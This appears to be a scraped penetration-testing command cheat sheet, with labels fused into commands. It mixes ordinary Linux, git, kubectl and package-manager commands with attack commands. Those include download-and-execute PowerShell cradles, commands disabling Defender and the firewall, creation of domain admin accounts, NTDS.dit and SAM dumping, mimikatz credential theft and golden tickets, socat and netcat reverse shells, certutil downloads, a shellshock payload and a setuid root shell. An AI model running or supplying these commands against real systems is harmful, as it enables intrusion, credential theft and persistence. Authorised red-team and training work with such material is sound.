Get-DomainSID -domain <sid>Get domain trust
Get-DomainTrust -Domain <domain>Get file in trash
Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property *Get language mode
$ExecutionContext.SessionState.LanguageModeGet process
Get-ProcessGet Proxy
[System.Net.WebRequest]::DefaultWebProxy.GetProxy("http://<ip>/<url>")hostrecon
(new-object system.net.webclient).downloadstring('http://<lhost>/HostRecon.ps1') | IEX; Invoke-HostReconpowershell - disable Real Time Monitoring (Windows Defender)
Set-MpPreference -DisableRealtimeMonitoring $truepowershell - generate base64 encoded payload download runner
pwsh -Command '$text = "(New-Object System.Net.WebClient).DownloadString(''http://<lhost>/<file>'') | IEX";$bytes = [System.Text.Encoding]::Unicode.GetBytes($text);$EncodedText = [Convert]::ToBase64String($bytes);$EncodedText'powershell get proxy address
$proxyAddr=(Get-ItemProperty -Path "HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\").ProxyServerpowershell set proxy
[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy("http://<proxaddress|$proxyAddr>")powershell view assemblies
[appdomain]::currentdomain.getassemblies() | Sort-Object -Property fullname | Format-Table fullnameprivesccheck
(new-object system.net.webclient).downloadstring('http://<lhost>/PrivescCheck.ps1') | IEX; Invoke-PrivescCheckshow forest trust
([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships()Verify application whitelisting
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\ExeVerify PPL
Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"whitelisting bypass with installutil
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U <full_path_to_app>add user
net user <username> <password> /ADDadd user as admin
net localgroup administrators <username> /addadd user to domain
net user <username> <password> /ADD /DOMAINAdd user to domain admin group
net group "Domain Admins" <username> /add /domainAdd user to domain admin group - FR
net group "Admins du domaine" <username> /add /domainall interfaces
ipconfig /allchange service
sc config <service> obj= ".\LocalSystem" password= ""check current share
net sharecheck permission (1)
accesschk.exe /accepteula -dqv "<file>"check permission (2)
icacls "<file>"check service privilege
accesschk.exe /accepteula -ucqv <service_name>create shadow copy
wmic shadowcopy call create Volume='C:\' # gone on Win11 24H2+/Server 2025 -> Get-CimInstance / Invoke-CimMethoddns request for DC
nslookup -type=any <userdnsdomain>.domain password and lockout policy
net accounts /domaindump ntds.dit (Windows <= 2003 server)
net start vss && vssadmin create shadow /for=c: && vssadmin list shadows && copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\tempdump ntds.dit (Windows >= 2008 server) - method 1
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q qdump ntds.dit (Windows >= 2008 server) - method 2
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.ditenable sid history
netdom trust <source_domain> /d:<target_domain> /enablesidhistory:yesfind AD IP - show domain name and dns
nmcli dev show <interface>find passwords
findstr /si 'password' *.txt *.xml *.docxfind passwords - group policy preference (ms14-025)
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xmlfind weak file permission
accesschk.exe -uwqs Users <c>:\find weak folder permission
accesschk.exe -uwdqs Users <c>:\firewall open port RDP
netsh firewall add portopening TCP 3389 "Remote Desktop"get architecture
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% # gone on Win11 24H2+/Server 2025 -> Get-CimInstance / Invoke-CimMethodget computer domain name (3)
systeminfo | findstr /B /C:"Domain"get domain name
echo %USERDOMAIN%get domain name (2)
echo %USERDNSDOMAIN%get hostname
hostname
$env:computernameget info system
systeminfoget info system limited
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"get mapping of the trust relationships
nltest /domain_trustsget name of the DC
echo %logonserver%get name of the dc (2)
set logonserver #Get name of the domain controllerget patches
wmic qfe get Caption,Description,HotFixID,InstalledOn # gone on Win11 24H2+/Server 2025 -> Get-CimInstance / Invoke-CimMethodget user domain information
net user <username> /domaininfos about a user
net user <username>infos about password policy
net accountsinfos on a Administrator and retrieve SID
[wmi] "Win32_userAccount.Domain='<computer_name>',Name='Administrator'"List all domain users
net user /domainList all PCs of the domain
net view /domain
nltest /dclist:<domain>list all users
net usersList credentials
cmdkey /listlist domain admins (fr)
net group "Admins du domaine"list hidden files
dir /a:h <path>list installed software (1)
dir /a "C:\Program Files"list installed software (2)
dir /a "C:\Program Files (x86)"list installed software (3)
reg query HKEY_LOCAL_MACHINE\SOFTWARElist of computer
net viewlist of computer connected to the domain
net group "domain computers" /domainlist of computer shares on the domain
net view /all /domain <domain_name>list of domain groups
net group /domainlist of know hosts
arp -a
netstat -anolist one scheduled task
schtasks /query /fo LIST 2>nul | findstr <taskname>list pc accounts of domain controllers
net group "Domain Controllers" /domainlist process
tasklist /Vlist process and links to started services
tasklist /SVClist scheduled tasks
schtasks /query /fo LIST /vlist services (2)
wmic service list brief # gone on Win11 24H2+/Server 2025 -> Get-CimInstance / Invoke-CimMethodlist services (3)
sc querylist shadow copy
vssadmin list shadowslist share of a computer
net view \\<ip> \ALLList users that belongs to the administrators group inside the domain
net localgroup administrators /domainList users with domain admin privileges
net group "Domain Admins" /domainlist windows service started (1)
net startmount share locally
net use x: \\<ip>\<share_name>nslookup AD - domain
nslookup -type=SRV _ldap._tcp.dc._msdcs.<domain_name>print all routes
route printreconfigure service
sc config <service> binpath= "C:\nc.exe -nv 127.0.0.1 4444 -e C:\WINDOWS\System32\cmd.exe"Recursive list
dir /s /bregister query extract SAM
reg save HKLM\SAM 'C:\Windows\Temp\sam.save'
reg save HKLM\SECURITY 'C:\Windows\Temp\security.save'
reg save HKLM\SYSTEM 'C:\Windows\Temp\system.save'register query word password (1)
reg query HKLM /f password /t REG_SZ /sregister query word password (2)
reg query HKCU /f password /t REG_SZ /srun as over user
runas /user:<domain>\<user> cmd.exeshow domain group users
net group /domain <domain_group_name>show environment - List all environment variables
setshow firewall config
netsh firewall show configshow firewall state
netsh firewall show stateshow hosts file
type C:\WINDOWS\System32\drivers\etc\hostsshow local groups
net localgroupshow lsa cached credentials value
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"show mounted disks
wmic logicaldisk get caption,description,providername # gone on Win11 24H2+/Server 2025 -> Get-CimInstance / Invoke-CimMethodshow recycle bin
dir C:\$Recycle.Bin /s /bshow specific local group
net localgroup <group_name>start service
net start <service>turn off firewall
netsh Advfirewall set allprofiles state offturn off firewall (2)
netsh firewall set opmode disableturn on firewall
netsh Advfirewall set allprofiles state onVBS download file script
echo var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);WinHttpReq.Send();WScript.Echo(WinHttpReq.ResponseText); > fu.js && cscript /nologo fu.js <file_url> > <downloaded_file>who logged in
qwinstawhoami - All info about me, take a look at the enabled tokens
whoami /allwhoami privilegied
whoami /privwindows download file with windows defender
"c:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\mpcmdrun.exe" -DownloadFile -url <url> -path <result_file>windows download file with windows defender
mpcmdrun.exe -DownloadFile -url <url> -path <result_file>windows eternal blue - smb - ms17-010
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue"Linux101
Edit cron job
crontab -eList cron jobs
crontab -lExtract blowfish hashes
grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txtExtract Drupal 7
egrep -o '$S$S{52}' *.txt > drupal-7.txtExtract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" <file>Extract HTTP URLS
grep -i http | grep -shoP 'http.*?[" >]' <file> > http-urls.txtExtract Joomla hashes
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txtExtract md5 hashes ({32})
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txtExtract md5-apr1
egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txtExtract old Unix-md5
egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txtExtract passwords
grep -i "pwd\|passw" <file>Extract phpBB3-MD5
egrep -o '$H$S{31}' *.txt > phpBB3-md5.txtExtract sha1 ({40})
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{40}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{40}' > sha1-hashes.txtExtract sha256({64})
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{64}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{64}' > sha256-hashes.txtExtract sha512({128})
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{128}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{128}' > sha512-hashes.txtExtract sha512crypt, SHA512(Unix)
egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txtExtract users
grep -i "user\|invalid\|authentication\|login" <file>Extract valid IP addresses
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" <file>Extract valid MySQL-Old hashes
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txtExtract VBulletin hashes
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txtExtract Wordpress-MD5
egrep -o '$P$S{31}' *.txt > wordpress-md5.txtgrep classic
grep <word> <file>grep recursive on extension
grep -rn --include "*.<extension>" <word>grep with file found
grep <word> <file> -Hgrep without case
grep -i <word> <file>grep word A or B
grep -e "\(<word_A>\|<word_B>\)" <file>compile windows PE 32 executable on linux
i686-w64-mingw32-gcc <source.c> -lws2_32 -o <output.exe>Access via ssh
<username-remote>@<ip>Add the amount of lines, words, and characters to file2-txt
cat <file1-txt> | <word-count> | cat > <file2-txt>Append content from a file to another file
cat <file1-txt> >> <file2-txt>Change directory
cd <dirname>Change group
chgrp <group-name-from> <group-name-to>Copy file
cp <filename> <file-copyname>Copy file from local to server
scp <file-to-send> <username-remote>@<ip>:<where-to-put>Copy file from server to local
scp <username-remote>@<ip>:<file-to-send-path> <path-to-recieve>Copy/Page folder with content
cp -a <old-folder>/ <new-folder>Create symlink
ln -s <source-dirname> <destination-dirname>Current processes (also CPS usage)
top or htopDecrypt file
openssl enc -aes-256-cbc -d -in <sample-encrypted> -out <sample-filename>Define custom startup screen
sudo nano /etc/motdEcho variable
echo $<Variable>Encrypt file
openssl enc -aes-256-cbc -e -in <sample-filename-txt> -out <sample-encrypted-txt>Escape files with spaces in name like this
<path-to-file>\\\ <name-png>Exit terminal
exitFinding Help
apropos directory / apropos search (...)Get the current hostname
hostnameGet the current path
pwdGet the current users
usersGo back to previous directory
cd -Help
help cd / help dir (...)Kill a running process
killall <Process-name>List all directory contents sorted by time edited reverse
ls -altrList all files of type
find . -name *.<txt> -printList all running processes
ps -AList directory (wildcard matching)
ls *.<txt>List directory contents by size
ls -SlrhMake (empty) directory
mkdir <dirname>Make (empty) file
touch <filename-txt>MD5 hash for files
md5sum <filename-txt>MD5 hash for folders
tar c <folder> | md5sumMonitor error log (stream as file grows)
tail error.log -f -n 0Move/Rename file
mv <current-filename-path> <new-filename-path>Move/Rename file and prompt before overwriting an existing file
mv -i <current-filename> <new-filename>Re-call last input with sudo
sudo !!Register variable
export <TESTING>=<Variable-text>Remove (empty) directory
rmdir <dirname>Remove directory contents and keep directory
rm -rf *Remove directory with all contents without prompt
rm -rf <dirname>Remove file
rm <filename-txt>Remove symlink
unlink <sample-dirname>Run a script as background process
<process> &Save to sorted content to a new file
cat <file1-txt> | sort > <sorted-file1-txt>Search and replace within file
sed -i s/<original-text>/<new-text>/g <filename-txt>Search for a filename-(not content!) in the current directory
find <filename-txt>Search for a string inside all files in the current directory and subdrectories
grep -r <string> *shellshock
curl -A "() { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /usr/bin/id" <url>Show calendar
calShow disc space
df -hShow disc space (inodes)
df -iShow disc space for current directory
du -hsshow process command
ps -ef | grep apache | grep -v grepShow running php processes
ps aux | grep phpShow today's date
dateSort and remove duplicates and save to a new file
sort <file1-txt> | uniq > <uniq-file1-txt>Sort the content of a file (like cat)
sort <hello-txt>Start application
xdg-open <programme>Unset variable
unset <Variable>Update symlink
ln -sfn <source-dirname> <destination-dirname>Write to file
echo <Hello> > <hello-txt>Write to file (will overwrite existing content)
cat > <filename-txt>convert JSON to YAML
cat <json_file> | ruby -ryaml -rjson -e 'puts YAML.dump(JSON.load(ARGF))'Convert multi line to one line
grep <pattern> <file> | tr '\n' ' 'Create a QR code with some content
echo <content> | curl -F-=\<- qrenco.defind service on port
amap -d <ip> <port>grep nmap protocol from file and get ips in one line
grep <pattern> <file>.gnmap|cut -d ' ' -f 2 | tr '\n' ' 'change multiple space to one
sed 's/ */ /g'delete the last char
sed 's/.$//g'Create veracrypt volume for Linux
veracrypt -t --create <file> --hash sha512 --encryption AES --filesystem ext4 --volume-type normal -k "" --pim 0 --size <size>Lock all veracrypt volume
veracrypt -dLock veracrypt volume
veracrypt -d <file>Open veracrypt volume
veracrypt <file> <mount>Password Extraction19
laps toolkit
(new-object system.net.webclient).downloadstring('http://<lhost>/LAPSToolkit.ps1') | IEX; Import-Module .\LAPSToolkit.ps1laps toolkit - find LAPS Delegated Groups
Import-Module .\LAPSToolkit.ps1; Find-LAPSDelegatedGroupslaps toolkit - Find users with Extended rights
Import-Module .\LAPSToolkit.ps1; Find-AdmPwdExtendedRightslaps toolkit - Get laps computer
Import-Module .\LAPSToolkit.ps1; Get-LAPSComputerslazagne dump all passwords (trig av)
lazagne.exe allextract on hand shadow volume copy
powershell.exe "[System.IO.File]::Copy('\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM', '.\Desktop\SYSTEM.bkp');[System.IO.File]::Copy('\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY', '.\Desktop\SECURITY.bkp');[System.IO.File]::Copy('\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM', '.\Desktop\SAM.bkp')"mimikatz - forest extra SID
kerberos::golden /user:<user> /domain:<domain> /sid:<child_sid> /krbtgt:<krbtgt_ntlm> /sids:<parent_sid>-519 /pttmimikatz dcsync - user (krbtgt/Administrator)
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:<domain> /user:<user>" "exit"mimikatz disable PPL and dump passwords
mimikatz.exe "privilege::debug" "!+" "!processprotect /process:lsass.exe /remove" "sekurlsa::logonpasswords" "exit"mimikatz extract credentials from dump
mimikatz.exe "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"mimikatz extract credentials from shadow copy (1)
mimikatz.exe "lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /security:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM"mimikatz extract credentials from shadow copy (2)
mimikatz.exe "lsadump::secrets /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /security:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY"mimikatz extract tickets
sekurlsa::tickets /exportmimikatz onliner
mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"mimikatz pth run powershell remotelly
sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<ntlm_hash> /run:powershellmimikatz pth to RDP mstsc.exe
sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<ntlm_hash> /run:"mstsc.exe /restrictedadmin"powershell - load mimikatz
(new-object system.net.webclient).downloadstring('http://<lhost>/Invoke-Mimikatz.ps1') | IEX
Invoke mimikatzprocdump - dump lsass - local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmpprocdump - dump lsass - remote
net use Z: https://live.sysinternals.com; Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmpNetwork13
chisel remote port forwarding (client on remote machine) - forward server port on client
./chisel client -v <server_ip>:<server_port|8000> <clientside-host|0.0.0.0>:<clientside-port>:<serverside-host|127.0.0.1>:<serverside-port>chisel reverse port forwarding (client on remote machine) - forward client port on server
./chisel client -v <server_ip>:<server_port|8000> R:<serverside-port>:<clientside-host|localhost>:<clientside-port>chisel server (server on local machine)
./chisel server -v -p <server_port|8000> --reversechisel socks proxy (client on remote machine)
./chisel client <server_ip>:<server_port> R:socksip infos (hostname / city / country / isp )
curl https://ipinfo.io/<ip>test an internet port out allow - curl (no 445)
curl portquiz.net:<port>test an internet port out allow - nc (no 445)
nc -v portquiz.net <port>what is my ip
curl https://ipinfo.io/what is my ip - plaintext
curl https://ipecho.net/plain/socat port forwarding connect (on remote machine)
./socat TCP:<connect_ip>:<connect_port|4444> TCP:127.0.0.1:<port_to_forward>socat port forwarding listener (on local machine)
./socat TCP-LISTEN:<port_listener|4444>,fork,reuseaddr TCP-LISTEN:<port_to_forward>socat reverse shell (remote victime)
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<listner_ip>:<listner_port|4444>socat reverse shell listener (local)
socat file:`tty`,raw,echo=0 tcp-listen:<listner_port|4444>Services15
List services
service --status-allRestart a service
service <service_name> restartStart a service
service <service_name> startStatus of a service
service <service_name> statusStop a service
service <service_name> stopDisable service
systemctl disable <service_enabled>Enable service
systemctl enable <service_disabled>List disabled services
systemctl list-unit-files --type=service --state=disabledList enabled services
systemctl list-unit-files --type=service --state=enabledList running services
systemctl list-units --type=service --state=runningReload service
systemctl reload <service_active>Restart service
systemctl restart <service>Service status
systemctl status <service>Start service
systemctl start <service_inactive>Stop service
systemctl stop <service_active>Tools51
Abort the current conflict resolution process, and try to reconstruct the pre-merge state.
git merge --abortAdd a new module
git submodule add <repository> <path>Adds a remote for a git repository
git remote add <remote_name> <remote_url>Checkout a branch from a fork
git fetch origin pull/<pr_number>/head:pr/<pr_number> && git checkout pr/<pr_number>Checkout to branch
git checkout <branch>Clear everything
git clean -dxfClone a git repository
git clone -b <branch_name> <repository> <clone_directory>Create new branch from current HEAD
git checkout -b <new_branch_name>Displays formatted log of commits for a repo
git log --all --decorate --oneline --graphDisplays log of commits for a repo
git logDisplays the current status of a git repository
git statusDisplays unstaged changes for file
git diff <unstaged_files>git dump
gitdumper <url>/.git/ <destination_dir>Initializes a git repository
git initMerges changes on one branch into current branch
git merge <branch_name>Overwrites remote branch with local branch changes
git push <remote_name> <branch_name> -fPull all submodules
git submodule foreach git pull origin masterpull remote branch and switch to it
git checkout -b <new_branch_name> <remote>/<branch_name>Pulls changes to a remote repo to the local repo
git pull --ff-onlyPushes changes to a remote repository overwriting another branch
git push <remote_name> <branch>:<branch_to_overwrite>Pushes committed changes to remote repository
git push -u <remote_name> <branch_name>Remove a remote for a git repository
git remote remove <remote_name>Renames a remote for a git repository
git remote rename <old_remote_name> <new_remote_name>Saves the changes to a file in a commit
git commit -m <message>Set global git user email
git config --global user.email <email>Set global git user name
git config --global user.name <name>Sign all commits in a branch based on master
git rebase master -S -fSkip git hooks
git commit --no-verifyStage all files in project
git add -AStage single or multiple files
git add <changed_files>;Update all submodules
git submodule update --init --recursiveUpdate module
git submodule update --initUpdate module without init
git submodule updateView all available remote for a git repository
git remote --verboseDisplay resource (cpu/memory/storage) usage
kubectl top <type>Drain node in preparation for maintenance
kubectl drain <name>Edit deployments
kubectl edit deployment/<name> -n <namespace>Get deployments
kubectl get deployments -n <namespace>Get details from resource on namespace
kubectl describe <resource>/<name> -n <namespace>Get namespaces
kubectl get namespacesGet nodes (add option '-o wide' for details)
kubectl get nodesGet pods from all namespace (add option '-o wide' for details)
kubectl get pods --all-namespacesGet pods from namespace (add option '-o wide' for details)
kubectl get pods -n <namespace>Get services from namespace
kubectl get services -n <namespace>Mark node as schedulable
kubectl uncordon <name>Mark node as unschedulable
kubectl cordon <name>Print all contexts
kubectl config get-contextsPrint current context of kubeconfig
kubectl config current-contextPrint logs from namespace
kubectl logs -f pods/<name> -n <namespace>Print resource documentation
kubectl explain <resource>Set context of kubeconfig
kubectl config use-context <context>Language44
generate shell bash bin
echo 'int main(void){setreuid(0,0); system("/bin/bash"); return 0;}' > pwn.c;
gcc pwn.c -o <filename|shell>;
rm pwn.cDotNetToJScript
DotNetToJScript.exe <dll|ExampleAssembly.dll> --lang=Jscript --ver=v4 -o <jscript|runner.js>initial immediately a new package
npm init -yinitial new package
npm initinstall a specified dev package
npm install <package_name> --save-devinstall a specified package
npm install <package_name>install a specified version of node
nvm install <version>install all dependencies packages
npm installinstall all dev dependencies packages
npm install --save-devinstall globally a specified package
npm install <package_name> -glist available versions
nvm ls-remoteset a node's version as default
nvm alias default <version>use installed node's version
nvm use <version>Change the password of a keystore
keytool -storepasswd -keystore <INPUT_JKS> -new <NEW_PASSWORD>Check a particular keystore entry using an alias
keytool -list -v -keystore <INPUT_JKS> -alias <ALIAS>Check a stand-alone certificate
keytool -printcert -v -file <INPUT_CRT>Check which certificates are in a Java keystore
keytool -list -v -keystore <INPUT_JKS>Export a certificate from a keystore
keytool -export -alias <ALIAS> -file <OUTPUT_CRT> -keystore <INPUT_JKS>Generate a certificate signing request (CSR) for an existing Java keystore
keytool -certreq -alias <ALIAS> -keystore <INPUT_JKS> -file <OUTPUT_CSR>Generate a Java keystore and key pair
keytool -genkey -alias <ALIAS> -keyalg RSA -keystore <OUTPUT_JKS> -keysize <RSA_LENGTH>Generate a keystore and self-signed certificate
keytool -genkey -keyalg RSA -alias <ALIAS> -keystore <OUTPUT_JKS> -storepass <PASSWORD> -validity <VALIDITY> -keysize <RSA_LENGTH>Import a root or intermediate CA certificate to an existing Java keystore
keytool -import -trustcacerts -alias root -file <INPUT_CRT> -keystore <INPUT_JKS>Import a signed primary certificate to an existing Java keystore
keytool -import -trustcacerts -alias <ALIAS> -file <INPUT_CRT> -keystore <INPUT_JKS>Import New Certificate Authority into the default Java Trusted Certs Keystore
keytool -import -trustcacerts -file <INPUT_PEM> -alias <ALIAS> -keystore $JAVA_HOME/jre/lib/security/cacertsList the trusted CA Certs from the default Java Trusted Certs Keystore
keytool -list -v -keystore $JAVA_HOME/jre/lib/security/cacertsRemove a certificate from a keystore
keytool -delete -alias <ALIAS> -keystore <INPUT_JKS>command execution
grep -rn --include "*.js" -e "^\(.*\s\|.*child_process.*|\)\(exec\|spawn\|eval\|execSync\|spawnSync\|execFileSync\)(" --colorrequire
grep -rn --include "*.js" -e "^\(.*\s\|\)\(require\)(" --color
grep -rn --include "*.js" -e "^\(.*\s\|\)\(appendFile\|open\|readFile\|WriteFile\\|unlink\|rename\|formidable)(" --color
grep -rn --include "*.js" -e "unserialize(" --colorphp grep callbacks
grep -rn --include "*.php" -e "^\(.*\s\|\)\(ob_start\|array_diff_uassoc\|array_diff_ukey\|array_filter\|array_intersect_uassoc\|array_intersect_ukey\|array_map\|array_reduce\|array_udiff_assoc\|array_udiff_uassoc\|array_udiff\|array_uintersect_assoc\|array_uintersect_uassoc\|array_uintersect\|array_walk_recursive\|array_walk\|assert_options\|uasort\|uksort\|usort\|preg_replace_callback\|spl_autoload_register\|iterator_apply\|register_shutdown_function\|register_tick_function\|set_error_handler\|set_exception_handler\|session_set_save_handler\|sqlite_create_aggregate\|sqlite_create_function\)(.*\\$"php grep curl
grep -rn --include "*.php" -e "curl_exec" --colorphp grep echo
grep -rn --include "*.php" -e "^\(.*\s\|\)\(echo\|printf\|print\)\(\s\|(\).*\\$" --colorphp grep entry points
grep -rn --include "*.php" -e "\(\$_GET\|\$_POST\|\$_FILES\|\$REQUEST\|\$_COOKIES\|\$_SESSION\|\$_SERVER\|\$_GLOBALS\)" --colorphp grep exec
grep -rn --include "*.php" -e "^\(.*\s\|\)\(eval\|popen\|pcntl_exec\|assert\|proc_open\|create_function\|call_user_func\|call_user_func_array\|exec\|shell_exec\|system\|passthru\|virtual\)([^)]*\\$" --colorphp grep file not contain an auth file include
for f in *.php; do grep "/include/auth.php" $f || echo $f; done |grep -v include | grep -v requirephp grep include
grep -rn --include "*.php" -e "^\(.*\s\|\)\(include\|require\|virtual\|require_once\|include_once\)\(\s\|(\).*\\$" --colorphp grep ldap
grep -rn --include "*.php" -e "^\(.*\s\|\)ldap_search(.*\\$" --colorphp grep mail
grep -rn --include "*.php" -e "^\(.*\s\|\)mail(.*\\$" --colorphp grep path traversal
grep -rn --include "*.php" -e "^\(.*\s\|\)\(readfile\|file_get_contents\|stream_get_contents\|show_source\|fopen\|file\|fpassthru\|gzopen\|gzfile\|gzpassthru\|readgzfile\)\(\s\|(\).*\\$" --colorphp grep replace
grep -rn --include "*.php" -e "^\(.*\s\|\)\(preg_replace\|ereg_replace\|eregi_replace\|mb_ereg_replace\|mb_eregi_replace\)(.*\\$" --colorphp grep unserialize
grep -rn --include "*.php" -e "^\(.*\s\|\)unserialize(.*\\$" --colorphp grep weak comparison
grep -rn --include "*.php" -e "\(\\\$[^=]\|0\)\s*==\s*\(0\|\\\$[^=]\\)" --colorphp grep where or query
grep -rni --include "*.php" -e "\(where\|query\).*\\$"php grep xpath
grep -rn --include "*.php" -e "^\(.*\s\|\)xpath.*\\$" --colorphp wrapper lfi
curl <url>?<param>=php://filter/read=convert.base64-encode/resource=<file>.phpDatabases5
connect remotely over tls w/ server & client certificates
redis-cli -h <ip> --tls --cacert <redis_cert_path.pem> --cert <redis_user_path.crt> --key <redis_user_private_path.key>connect remotely over tls w/ server certificate
redis-cli -h <ip> --tls --cacert <redis_cert_path.pem>connect remotely specifying a port
redis-cli -h <ip> -p <port> -a <password>connect to a remote server on the default port (6379)
redis-cli -h <ip> -a <password>connect to the local server
redis-cliArchive22
7z create archive with password
7z a <archive_name>.7z -p<password> <file>Compute entropy of a firmware
binwalk -E <firmware_file>Recursively extract files from a firmware
binwalk -Me <firmware_file>Compress file and appends .gz to its name
gzip <path>Decompress compressed file
gzip -d <gz_file>Compress dir to rar file
rar a <dir>Decompress rar file
unrar x <file>.rarCreate a tar containing files
tar cf <name>.tar <files>Create a tar with Gzip compression
tar czf <name>.tar.gz <files>Extract a tar using Gzip
tar xzf <targz_file>Extract the files from a tar
tar xf <tar_file>Extract files from a firmware
unblob <firmware_file>Show external dependencies
unblob --show-external-dependenciesadd file to a zip archive
zip -u <file>.zip <file_to_add>create zip file
zip <file>.zip <files_to_zip>create zip file with symlink (useful for path traversal)
zip --symlinks <file>.zip <symlink_file>list detailed zip file content
unzip -Z <file>.zipunzip file
unzip <file>.zipunzip file to directory
unzip <file>.zip -d <destination_folder>view zip content
zipinfo <file>.zipzip all the files of current directory
zip <file>.zip *zip folder
zip -r <file>.zip <folder>Crypto12
clearsign documents
gpg --clearsign <filename>decrypt document
gpg --output <filename> --decrypt <filename_gpg>detach signature
gpg --output <filename_sig> --detach-sig <filename>distribute public key to key server
gpg --keyserver <key_server> --send-keys <public_key>encrypt document
gpg --output <output_filename_gpg> --encrypt --recipient <public_key> <input_filename>export public key
gpg --output <filename_gpg> --export <key_name>gpg generate key
gpg --gen-keygpg version
gpg --versionimport public key
gpg --import <filename_gpg>list keys
gpg --list-keysmake a signature
gpg --output <filename_sig> --sign <filename>verify signature
gpg --output <filename> <filename> --decrypt <filename_sig>Files8
download with certutil (2)
certutil.exe -verifyctl -f -split h http://<server>/<source_file> <dest_file>download with certutil
certutil.exe -urlcache -split -f http://<server>/<source_file> <dest_file>Encode in base64 with certutil
certutil -decode enc.txt <file>Download and execute with powershell
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile New-Object System.Net.WebClient.DownloadFile('<url_file>','nc.exe'); nc.exe <ip> <port> -e cmd.exeDownload with powershell
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile "(New-Object System.Net.WebClient).DownloadFile('http://<server>/<source_file>','<dest_file>')"php Simple builtin server
php -S 0.0.0.0:<lport>python Simple HTTP server
python3 -m http.server <lport>python3 Simple HTTP server
python3 -m http.server <lport>Install27
edit cask
brew cask edit <casks>edit package
brew edit <package>get info for a cask
brew cask info <casks>get info for a package
brew info <package>install a cask
brew cask install <casks>install a package
brew install <package>uninstall a cask
brew cask uninstall <caskinstalled>uninstall a package
brew uninstall <installed>update brew
brew updateupgrade brew
brew upgradeCheck updates for installed packages
yum check-updateDowngrade package
yum downgrade <package-name>Info about package
yum info <package-name>Install a package from repository
yum install <package-name>Install local rpm package
yum localinstall <filepath-rpm>Install security updates
yum update --securityList all available packages
yum list availableList all history actions (install, update and erase)
yum history listList all installed packages
yum list installedList currently enabled repositories
yum repolistList dependencies of package
yum deplist <package-name>Remove un-needed packages and dependencies
yum autoremoveRemove/delete package
yum remove <package-name>Search in repository (packages and descriptions)
yum search <query>Update all packages
yum updateUpdate specific/individual package
yum update <package-name>Whatprovides package/file/binary
yum whatprovides <query>Pwn24
bof, nasm - show opcode from asm
msf-nasm_shell # nasm > jmp espbof, pattern creation
msf-pattern_create -l <size>bof, pattern offset
msf-pattern_offset -l <size> -q <pattern>mona - Badchar hunting step 1 - Creates a byte array
